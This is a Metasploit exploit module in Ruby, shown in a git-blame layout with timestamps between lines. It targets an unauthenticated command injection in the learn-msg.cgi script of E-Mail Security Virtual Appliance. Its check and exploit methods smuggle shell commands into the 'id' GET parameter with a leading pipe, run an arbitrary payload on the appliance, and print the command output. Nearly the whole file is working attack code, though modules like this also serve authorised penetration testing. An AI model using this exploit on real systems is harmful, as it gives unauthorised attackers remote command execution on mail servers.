2012-08-21 11:25:03 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-08-21 11:25:03 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = ExcellentRanking
|
2012-08-21 11:25:03 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2012-08-21 11:25:03 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "E-Mail Security Virtual Appliance learn-msg.cgi Command Injection",
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a command injection vulnerability found in E-Mail Security
|
|
|
|
Virtual Appliance. This module abuses the learn-msg.cgi file to execute arbitrary
|
|
|
|
OS commands without authentication. This module has been successfully tested on the
|
|
|
|
ESVA_2057 appliance.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'iJoo', # Vulnerability Discovery and PoC
|
|
|
|
'juan vazquez' # Metasploit module
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'OSVDB', '85462'],
|
|
|
|
[ 'BID', '55050'],
|
|
|
|
[ 'EDB', '20551' ]
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'BadChars' => "",
|
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'PayloadType' => 'cmd',
|
|
|
|
'RequiredCmd' => 'generic perl python',
|
|
|
|
}
|
|
|
|
},
|
|
|
|
'Platform' => ['unix'],
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['ESVA_2057', {}],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => "Aug 16 2012",
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
2012-08-21 11:25:03 +00:00
|
|
|
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def check
|
|
|
|
clue = Rex::Text::rand_text_alpha(rand(5) + 5)
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => "/cgi-bin/learn-msg.cgi",
|
|
|
|
'vars_get' => {
|
|
|
|
'id' => "|echo #{clue};"
|
|
|
|
}
|
|
|
|
})
|
2012-08-21 11:25:03 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# If the server doesn't return the default redirection, probably something is wrong
|
|
|
|
if res and res.code == 200 and res.body =~ /#{clue}/
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
2012-08-21 11:25:03 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2012-08-21 11:25:03 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
|
|
|
peer = "#{rhost}:#{rport}"
|
2012-08-21 11:25:03 +00:00
|
|
|
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Sending Command injection")
|
2013-08-30 21:28:54 +00:00
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => "/cgi-bin/learn-msg.cgi",
|
|
|
|
'vars_get' => {
|
|
|
|
'id' => "|#{payload.raw};"
|
|
|
|
}
|
|
|
|
})
|
2012-08-21 11:25:03 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# If the server doesn't return the default redirection, probably something is wrong
|
|
|
|
if not res or res.code != 200 or res.body !~ /meta http-equiv="refresh" content="0;URL=\/learned.html"/
|
2016-02-01 21:12:03 +00:00
|
|
|
print_error("Probably command not executed, aborting!")
|
2013-08-30 21:28:54 +00:00
|
|
|
return
|
|
|
|
end
|
2012-08-21 11:25:03 +00:00
|
|
|
|
2016-02-01 21:12:03 +00:00
|
|
|
print_good("Command executed successfully")
|
|
|
|
print_status("Output: \n#{res.body.split("Learned tokens")[0]}")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2012-08-21 11:25:03 +00:00
|
|
|
|
|
|
|
end
|